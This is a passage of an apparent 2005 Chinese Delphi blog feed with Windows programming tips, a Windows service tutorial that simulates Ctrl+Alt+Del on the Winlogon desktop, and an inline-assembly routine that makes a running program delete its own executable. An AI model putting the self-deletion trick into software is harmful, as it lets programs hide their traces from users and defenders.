<P>8,WM_WindowPosChanging 消息 窗体大小改变时发生<BR>GetSystemMetrics(SM_CYCAPTION)取得标题栏的高度,宽度SM_CXCAPTION。</P>
<P>9，（1)在Windows NT 环境下 使用ExitWindowsEX()不会关闭系统，必须使用<BR>WIN32 API函数AdjustTokenPrivleges()授予SE_SHUTDOWN_NAME权限;<BR>(2) 调用ExitWindowsEX()或ExitWindows()时，每个应用程序会收到WM_QUERYENDSESSION消息，如果应用程序从这个消息返回非零值，表示允许关闭，<BR>运行一个无窗体应用程序时，需要通过拦截这个消息来确定是否关闭系统。<BR>(3) 可以使用SysUtils.pas中的Win32Check()函数，它将调用Win32 API函数GetLa stError()来显示错误信息。如：Win32Check(ExitWindowsEX(EWX_SHUTDOWN, 0);</P>
<P>10，消息处理的过程命名约定：过程名与消息的标识符一致，但不要全部大写，不要<BR>有下划线。例：procedure CMDesignHitTest(var Message: TCMDesignHitTest); message CM_DESIGNHITTEST;{添加Message.Result := 0 让控件在设计时响应消息}</P>
<P>11，一个应用程序内部发送消息 Perform()(不依赖API函数),SendMessage(),PostMessage()。</P>
<P>12，（1）自定义消息<BR>范围：WM_USER + 100-$7FFF.(WM_USER-$7FFF)<BR>（2）在两个或多个应用程序之间发送消息：RegisterWindowsMessage();<BR></P>
<P>1,(1)在一个面板区域设置右键菜单，只是这样Panel1.PouupMenu:=PopupMenu还不够，一个简单的做法是设窗体的ActiveControl属性为Panel1.<BR>(2)PopupMenu1.PopupComponent返回右键菜单点击的控件。</P>
<P>2,ParamCount 函数返回命令行参数的个数；ParamStr(0), 传回执行档的档名(含路径)；ParamStr(n), 传回第ｎ个参数的内容。</P>
<P>3，对于一般的构件而言，height就是clientheight,width就是clientwidth，而对于窗体而言，height是包括标题条在内的高度，而clientheight是指窗体工作区的高度。同理，clientwidth是指定窗体工作区的宽度。</P>
<P>4，通常在OnCreate或Onshow中直接用Close关闭窗体会出现保护性错误，用PostMessage(self.handle, WM_CLOSE, 0, 0);</P>
<P>5,（1）给数值加上千位分隔符：Format('%*.*n',[10,2,n])；<BR>（2）设定DateTimePicker的日期格式：DateTimePicker1.Perform(DTM_SETFORMAT, 0, DWORD(PCHAR('MM/dd/yyyy')))。</P>
<P>6，浮点数相除：/；整数：div。<BR></P>
<P>1,当用户选取菜单时，Windows会向程序发送WM_INITMENU消息，例：<BR>{procedure WMInitMenu(var msg: TMessage); message WM_INITMENU;<BR>&nbsp; if msg.WParam = GetMenu(Handle) then<BR>&nbsp; N1.Enabled := Clipboard.HasFormat(CF_OEMTEXT);<BR>&nbsp; else inherited;}</P>
<P>2,拖动Panel控件<BR>在MouseDown事件中添加：<BR>const<BR>&nbsp; SC_DragMove = $F012;&nbsp; { a magic number }<BR>begin<BR>&nbsp; ReleaseCapture;<BR>&nbsp; panel1.perform(WM_SysCommand, SC_DragMove, 0);<BR>end;<BR>{适用于其他一些控件如TEdit,TMemo,TButton;不能用于TLabel但TStaticText可;SC_DragMove&nbsp; = $F011- $F019 效果相同，SC_DragMove&nbsp; = $F020-$F029<BR>鼠标单击时控件最小化，双击恢复；SC_DragMove&nbsp; = $F030-$F039时最大化,SC_DragMove&nbsp; = $F060-$F069 时隐藏}</P>
<P>3,使RichEdit能添加大于64K的内容<BR>SendMessage(RichEdit1.Handle, EM_EXLIMITTEXT, 0, $7FFFFFFF);</P>
<P>4,√√√TFrame(框架)的使用√√√</P>
<P>5,WM_EXITSIZEMOVE判定用户改变窗口大小或改变窗口位置的事件是何时<BR>完成的。</P>
<P>1，使用Random取任意值函数，加上initialization randomize或在代码前面直接添加randomize;</P>
<P>2，把应用程序添加到打开方式中<BR>例：uses Registry;<BR>var<BR>&nbsp; reg: TRegistry;<BR>begin<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; reg := TRegistry.Create;<BR>&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.RootKey := HKEY_CLASSES_ROOT;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.OpenKey('*\Shell\Trc', true);&nbsp;&nbsp;&nbsp;&nbsp; { 写入注册表，'Trc'为标识，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可自行指定 }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.WriteString('', 'Open with Trc'); { ‘Open...'为应用程序<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在打开方式中显示的名称 }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.CloseKey;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { 关闭注册表项 }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.OpenKey('*\Shell\Trc\Command', true); { 打开命令参数项，此项用<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 来保存命令行及参数 }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.WriteString('', '"' + ParamStr(0) + '" "%1"'); { ParamStr(0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令行参数此处为可执行文件路径 }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.CloseKey;<BR>&nbsp;&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.Free;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; except<BR>&nbsp;&nbsp;&nbsp; raise;<BR>&nbsp; end;</P>
<P>&nbsp; { 打开文件 }<BR>&nbsp; if ParamCount &gt;= 1 then { 直接运行时 ParamCount=0,用打开方式运行时<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ParamCount=1 }<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; MyOpenFile(ParamStr(1)); { ParamStr(1)命令行参数为待打开文件的路<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 径 ,MyOpenFile为自定义的打开文件过程}<BR>&nbsp;&nbsp;&nbsp; { 另外GetCommandLine函数取得ParamStr各项值 }<BR>&nbsp; end;<BR>end;<BR>{ 一郎 2002.7.6 }</P>
<P>3，SHAddToRecentDocs（uFlags: Cardinal, pv: Point)用于在开始菜单的文档<BR>中加入指定的文件{例：SHARD_PATH, pChar(s)，s为路径}，函数位于ShlObj<BR>单元；清除文档SHAddToRecentDocs(SHARD_PATH, nil){速度慢}。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=109" /> 
	  <id>http://www.openx.cn/default.asp?id=109</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[刚修改了GoogleX]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-11-01T11:13:16+08:00</updated>
	  <published>2005-11-01T11:13:16+08:00</published>
		  <summary type="html"><![CDATA[<P>把Google的主要功能都集成咯~后后</P>
<P>方便平时适用.觉得方便就把他添加到收藏夹吧~</P>
<P><A href="http://google.openx.cn">http://google.openx.cn</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=108" /> 
	  <id>http://www.openx.cn/default.asp?id=108</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[有用的代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-31T15:30:58+08:00</updated>
	  <published>2005-10-31T15:30:58+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>检测主程序大小</STRONG>
<P>Function TForm1.GesSelfSf: integer;<BR>var<BR>F: file of byte;<BR>begin<BR>&nbsp;&nbsp; Filemode:=0;<BR>&nbsp;&nbsp; Assignfile(F,'.\FileName.exe');<BR>&nbsp;&nbsp; Reset(f);<BR>&nbsp;&nbsp; Result:=Filesize(F);<BR>&nbsp;&nbsp; Closefile(F);<BR>end;</P>
<P><STRONG>自己删除自己</STRONG></P>
<P>procedure TForm1.Funll;<BR>var<BR>hModule:THandle;<BR>buff:array[0..255]of Char;<BR>hKernel32:THandle;<BR>pExitProcess,pDeleteFileA,pUnmapViewOfFile:Pointer;<BR>begin<BR>&nbsp;&nbsp; hModule:=GetModuleHandle(nil);<BR>&nbsp;&nbsp; GetModuleFileName(hModule, buff, sizeof(buff));<BR>&nbsp;&nbsp; CloseHandle(THandle(4));<BR>&nbsp;&nbsp; hKernel32:=GetModuleHandle('KERNEL32');<BR>&nbsp;&nbsp; pExitProcess:=GetProcAddress(hKernel32, 'ExitProcess');<BR>&nbsp;&nbsp; pDeleteFileA:=GetProcAddress(hKernel32, 'DeleteFileA');<BR>&nbsp;&nbsp; pUnmapViewOfFile:=GetProcAddress(hKernel32, 'UnmapViewOfFile');<BR>&nbsp;&nbsp; asm<BR>&nbsp;&nbsp; LEA EAX, buff<BR>&nbsp;&nbsp; PUSH 0<BR>&nbsp;&nbsp; PUSH 0<BR>&nbsp;&nbsp; PUSH EAX<BR>&nbsp;&nbsp; PUSH pExitProcess<BR>&nbsp;&nbsp; PUSH hModule<BR>&nbsp;&nbsp; PUSH pDeleteFileA<BR>&nbsp;&nbsp; PUSH pUnmapViewOfFile<BR>&nbsp;&nbsp; RET<BR>&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; begin<BR>&nbsp;&nbsp; Funll;<BR>&nbsp;&nbsp; end;<BR>end;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=107" /> 
	  <id>http://www.openx.cn/default.asp?id=107</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[创建具有托盘的服务程序]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-31T15:03:33+08:00</updated>
	  <published>2005-10-31T15:03:33+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellPadding=4 width="100%" border=0>
<TBODY>
<TR>
<TD width=10></TD>
<TD><SPAN id=ArticleContent1_ArticleContent1_lblContent>
<P>选择自 <A id=ArticleTitle1_ArticleTitle1_AuthorLink href="http://dev.csdn.net/user/srw">srw</A> 的 Blog </P>
<P>我的主页: <A href="http://www.tommstudio.com/">http://www.tommstudio.com/</A></P>
<P>Windows 2000/XP和2003等支持一种叫做"服务程序"的东西.程序作为服务启动有以下几个好处: <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;(1)不用登陆进系统即可运行.<BR>&nbsp;&nbsp;&nbsp;&nbsp;(2)具有SYSTEM特权.所以你在进程管理器里面是无法结束它的.<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;笔者在2003年为一公司开发机顶盒项目的时候,曾经写过课件上传和媒体服务,下面就介绍一下如何用Delphi7创建一个Service程序. <BR>&nbsp;&nbsp;&nbsp;&nbsp;运行Delphi7,选择菜单File--&gt;New--&gt;Other---&gt;Service Application.将生成一个服务程序的框架.将工程保存为ServiceDemo.dpr和Unit_Main.pas,然后回到主框架.我们注意到,Service有几个属性.其中以下几个是我们比较常用的:<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;(1)DisplayName:服务的显示名称<BR>&nbsp;&nbsp;&nbsp;&nbsp;(2)Name:服务名称.<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;我们在这里将DisplayName的值改为"Delphi服务演示程序",Name改为"DelphiService".编译这个项目,将得到ServiceDemo.exe.这已经是一个服务程序了!进入CMD模式,切换致工程所在目录,运行命令"ServiceDemo.exe /install",将提示服务安装成功!然后"net start DelphiService"将启动这个服务.进入控制面版--&gt;管理工具--&gt;服务,将显示这个服务和当前状态.不过这个服务现在什么也干不了,因为我们还没有写代码:)先"net stop DelphiService"停止再"ServiceDemo.exe /uninstall"删除这个服务.回到Delphi7的IDE.<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;我们的计划是为这个服务添加一个主窗口,运行后任务栏显示程序的图标,双击图标将显示主窗口,上面有一个按钮,点击该按钮将实现Ctrl+Alt+Del功能.<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;实际上,服务程序莫认是工作于Winlogon桌面的,可以打开控制面板,查看我们刚才那个服务的属性--&gt;登陆,其中"允许服务与桌面交互"是不打钩的.怎么办?呵呵,回到IDE,注意那个布尔属性:Interactive,当这个属性为True的时候,该服务程序就可以与桌面交互了.<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;File--&gt;New--&gt;Form为服务添加窗口FrmMain,单元保存为Unit_FrmMain,并且把这个窗口设置为手工创建.完成后的代码如下:<BR><BR><BR></P>
<DIV align=center>
<TABLE borderColor=#d0a070 cellSpacing=0 borderColorDark=#ffffff cellPadding=5 width="99%" bgColor=#ffffc0 border=1>
<TBODY>
<TR>
<TD><CODE>
<P align=left><BR><FONT color=#000000><B>unit</B></FONT> <FONT color=#000000><B>Unit</B></FONT>_Main;<BR><BR><FONT color=#000000><B>interface</B></FONT><BR><BR><FONT color=#000000><B>uses</B></FONT><BR>Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs, <FONT color=#000000><B>Unit</B></FONT>_FrmMain;<BR><BR><FONT color=#000000><B>type</B></FONT><BR>TDelphiService = <FONT color=#000000><B>class</B></FONT>(TService)<BR><FONT color=#000000><B>procedure</B></FONT> ServiceContinue(Sender: TService; <FONT color=#000000><B>var</B></FONT> Continued: Boolean);<BR><FONT color=#000000><B>procedure</B></FONT> ServiceExecute(Sender: TService);<BR><FONT color=#000000><B>procedure</B></FONT> ServicePause(Sender: TService; <FONT color=#000000><B>var</B></FONT> Paused: Boolean);<BR><FONT color=#000000><B>procedure</B></FONT> ServiceShutdown(Sender: TService);<BR><FONT color=#000000><B>procedure</B></FONT> ServiceStart(Sender: TService; <FONT color=#000000><B>var</B></FONT> Started: Boolean);<BR><FONT color=#000000><B>procedure</B></FONT> ServiceStop(Sender: TService; <FONT color=#000000><B>var</B></FONT> Stopped: Boolean);<BR><FONT color=#000000><B>private</B></FONT><BR><FONT color=#770000><I>{ Private declarations }</I></FONT><BR><FONT color=#000000><B>public</B></FONT><BR><FONT color=#000000><B>function</B></FONT> GetServiceController: TServiceController; <FONT color=#000000><B>override</B></FONT>;<BR><FONT color=#770000><I>{ Public declarations }</I></FONT><BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>var</B></FONT><BR>DelphiService: TDelphiService;<BR>FrmMain: TFrmMain;<BR><FONT color=#000000><B>implementation</B></FONT><BR><BR><FONT color=#770000><I>{$R *.DFM}</I></FONT><BR><BR><FONT color=#000000><B>procedure</B></FONT> ServiceController(CtrlCode: DWord); stdcall;<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;DelphiService.Controller(CtrlCode);<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>function</B></FONT> TDelphiService.GetServiceController: TServiceController;<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Result := ServiceController;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TDelphiService.ServiceContinue(Sender: TService;<BR><FONT color=#000000><B>var</B></FONT> Continued: Boolean);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>while</B></FONT> <FONT color=#000000><B>not</B></FONT> Terminated <FONT color=#000000><B>do</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;Sleep(10);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ServiceThread.ProcessRequests(<FONT color=#000000><B>False</B></FONT>);<BR>&nbsp;&nbsp;<FONT color=#000000><B>end</B></FONT>;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TDelphiService.ServiceExecute(Sender: TService);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>while</B></FONT> <FONT color=#000000><B>not</B></FONT> Terminated <FONT color=#000000><B>do</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;Sleep(10);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ServiceThread.ProcessRequests(<FONT color=#000000><B>False</B></FONT>);<BR>&nbsp;&nbsp;<FONT color=#000000><B>end</B></FONT>;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TDelphiService.ServicePause(Sender: TService;<BR><FONT color=#000000><B>var</B></FONT> Paused: Boolean);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Paused := <FONT color=#000000><B>True</B></FONT>;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TDelphiService.ServiceShutdown(Sender: TService);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;gbCanClose := <FONT color=#000000><B>true</B></FONT>;<BR>&nbsp;&nbsp;FrmMain.Free;<BR>&nbsp;&nbsp;Status := csStopped;<BR>&nbsp;&nbsp;ReportStatus();<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TDelphiService.ServiceStart(Sender: TService;<BR><FONT color=#000000><B>var</B></FONT> Started: Boolean);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Started := <FONT color=#000000><B>True</B></FONT>;<BR>&nbsp;&nbsp;Svcmgr.Application.CreateForm(TFrmMain, FrmMain);<BR>&nbsp;&nbsp;gbCanClose := <FONT color=#000000><B>False</B></FONT>;<BR>&nbsp;&nbsp;FrmMain.Hide;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TDelphiService.ServiceStop(Sender: TService;<BR><FONT color=#000000><B>var</B></FONT> Stopped: Boolean);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Stopped := <FONT color=#000000><B>True</B></FONT>;<BR>&nbsp;&nbsp;gbCanClose := <FONT color=#000000><B>True</B></FONT>;<BR>&nbsp;&nbsp;FrmMain.Free;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>end.</B></FONT><BR></P></CODE></TD></TR></TBODY></TABLE></DIV><BR><BR>主窗口单元如下:<BR><BR>
<DIV align=center>
<TABLE borderColor=#d0a070 cellSpacing=0 borderColorDark=#ffffff cellPadding=5 width="99%" bgColor=#ffffc0 border=1>
<TBODY>
<TR>
<TD><CODE>
<P align=left><BR><FONT color=#000000><B>unit</B></FONT> <FONT color=#000000><B>Unit</B></FONT>_FrmMain;<BR><BR><FONT color=#000000><B>interface</B></FONT><BR><BR><FONT color=#000000><B>uses</B></FONT><BR>Windows, Messages, SysUtils, Variants, Classes, ShellApi, Graphics, Controls, Forms,<BR>Dialogs, ExtCtrls, StdCtrls;<BR><BR><FONT color=#000000><B>const</B></FONT><BR>WM_TrayIcon = WM_USER + 1234;<BR><FONT color=#000000><B>type</B></FONT><BR>TFrmMain = <FONT color=#000000><B>class</B></FONT>(TForm)<BR>Timer1: TTimer;<BR>Button1: TButton;<BR><FONT color=#000000><B>procedure</B></FONT> FormCreate(Sender: TObject);<BR><FONT color=#000000><B>procedure</B></FONT> FormCloseQuery(Sender: TObject; <FONT color=#000000><B>var</B></FONT> CanClose: Boolean);<BR><FONT color=#000000><B>procedure</B></FONT> FormDestroy(Sender: TObject);<BR><FONT color=#000000><B>procedure</B></FONT> Timer1Timer(Sender: TObject);<BR><FONT color=#000000><B>procedure</B></FONT> Button1Click(Sender: TObject);<BR><FONT color=#000000><B>private</B></FONT><BR><FONT color=#770000><I>{ Private declarations }</I></FONT><BR>IconData: TNotifyIconData;<BR><FONT color=#000000><B>procedure</B></FONT> AddIconToTray;<BR><FONT color=#000000><B>procedure</B></FONT> DelIconFromTray;<BR><FONT color=#000000><B>procedure</B></FONT> TrayIconMessage(<FONT color=#000000><B>var</B></FONT> Msg: TMessage); <FONT color=#000000><B>message</B></FONT> WM_TrayIcon;<BR><FONT color=#000000><B>procedure</B></FONT> SysButtonMsg(<FONT color=#000000><B>var</B></FONT> Msg: TMessage); <FONT color=#000000><B>message</B></FONT> WM_SYSCOMMAND;<BR><FONT color=#000000><B>public</B></FONT><BR><FONT color=#770000><I>{ Public declarations }</I></FONT><BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>var</B></FONT><BR>FrmMain: TFrmMain;<BR>gbCanClose: Boolean;<BR><FONT color=#000000><B>implementation</B></FONT><BR><BR><FONT color=#770000><I>{$R *.dfm}</I></FONT><BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.FormCreate(Sender: TObject);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;FormStyle := fsStayOnTop; <FONT color=#770000><I>{窗口最前}</I></FONT><BR>&nbsp;&nbsp;SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW); <FONT color=#770000><I>{不在任务栏显示}</I></FONT><BR>&nbsp;&nbsp;gbCanClose := <FONT color=#000000><B>False</B></FONT>;<BR>&nbsp;&nbsp;Timer1.Interval := 1000;<BR>&nbsp;&nbsp;Timer1.Enabled := <FONT color=#000000><B>True</B></FONT>;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.FormCloseQuery(Sender: TObject; <FONT color=#000000><B>var</B></FONT> CanClose: Boolean);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;CanClose := gbCanClose;<BR>&nbsp;&nbsp;<FONT color=#000000><B>if</B></FONT> <FONT color=#000000><B>not</B></FONT> CanClose <FONT color=#000000><B>then</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;Hide;<BR>&nbsp;&nbsp;<FONT color=#000000><B>end</B></FONT>;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.FormDestroy(Sender: TObject);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Timer1.Enabled := <FONT color=#000000><B>False</B></FONT>;<BR>&nbsp;&nbsp;DelIconFromTray;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.AddIconToTray;<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;ZeroMemory(@IconData, SizeOf(TNotifyIconData));<BR>&nbsp;&nbsp;IconData.cbSize := SizeOf(TNotifyIconData);<BR>&nbsp;&nbsp;IconData.Wnd := Handle;<BR>&nbsp;&nbsp;IconData.uID := 1;<BR>&nbsp;&nbsp;IconData.uFlags := NIF_<FONT color=#000000><B>MESSAGE</B></FONT> <FONT color=#000000><B>or</B></FONT> NIF_ICON <FONT color=#000000><B>or</B></FONT> NIF_TIP;<BR>&nbsp;&nbsp;IconData.uCallbackMessage := WM_TrayIcon;<BR>&nbsp;&nbsp;IconData.hIcon := Application.Icon.Handle;<BR>&nbsp;&nbsp;IconData.szTip := 'Delphi服务演示程序';<BR>&nbsp;&nbsp;Shell_NotifyIcon(NIM_ADD, @IconData);<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.DelIconFromTray;<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Shell_NotifyIcon(NIM_DELETE, @IconData);<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.SysButtonMsg(<FONT color=#000000><B>var</B></FONT> Msg: TMessage);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>if</B></FONT> (Msg.wParam = SC_CLOSE) <FONT color=#000000><B>or</B></FONT><BR>&nbsp;&nbsp;(Msg.wParam = SC_MINIMIZE) <FONT color=#000000><B>then</B></FONT> Hide<BR>&nbsp;&nbsp;<FONT color=#000000><B>else</B></FONT> <FONT color=#000000><B>inherited</B></FONT>; <FONT color=#770000><I>// 执行默认动作<BR></I></FONT><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.TrayIconMessage(<FONT color=#000000><B>var</B></FONT> Msg: TMessage);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>if</B></FONT> (Msg.LParam = WM_LBUTTONDBLCLK) <FONT color=#000000><B>then</B></FONT> Show();<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.Timer1Timer(Sender: TObject);<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;AddIconToTray;<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> SendHokKey;stdcall;<BR><FONT color=#000000><B>var</B></FONT><BR>HDesk_WL: HDESK;<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;HDesk_WL := OpenDesktop ('Winlogon', 0, <FONT color=#000000><B>False</B></FONT>, DESKTOP_JOURNALPLAYBACK);<BR>&nbsp;&nbsp;<FONT color=#000000><B>if</B></FONT> (HDesk_WL &lt;&gt; 0) <FONT color=#000000><B>then</B></FONT><BR>&nbsp;&nbsp;<FONT color=#000000><B>if</B></FONT> (SetThreadDesktop (HDesk_WL) = <FONT color=#000000><B>True</B></FONT>) <FONT color=#000000><B>then</B></FONT><BR>&nbsp;&nbsp;PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG (<FONT color=#000000><B>MOD</B></FONT>_ALT <FONT color=#000000><B>or</B></FONT> <FONT color=#000000><B>MOD</B></FONT>_CONTROL, VK_DELETE));<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>procedure</B></FONT> TFrmMain.Button1Click(Sender: TObject);<BR><FONT color=#000000><B>var</B></FONT><BR>dwThreadID : DWORD;<BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;CreateThread(<FONT color=#000000><B>nil</B></FONT>, 0, @SendHokKey, <FONT color=#000000><B>nil</B></FONT>, 0, dwThreadID);<BR><FONT color=#000000><B>end</B></FONT>;<BR><BR><FONT color=#000000><B>end.</B></FONT><BR><BR><FONT color=#000000><B>program</B></FONT> ServiceDemo;<BR><BR><FONT color=#000000><B>uses</B></FONT><BR>SvcMgr,<BR><FONT color=#000000><B>Unit</B></FONT>_Main <FONT 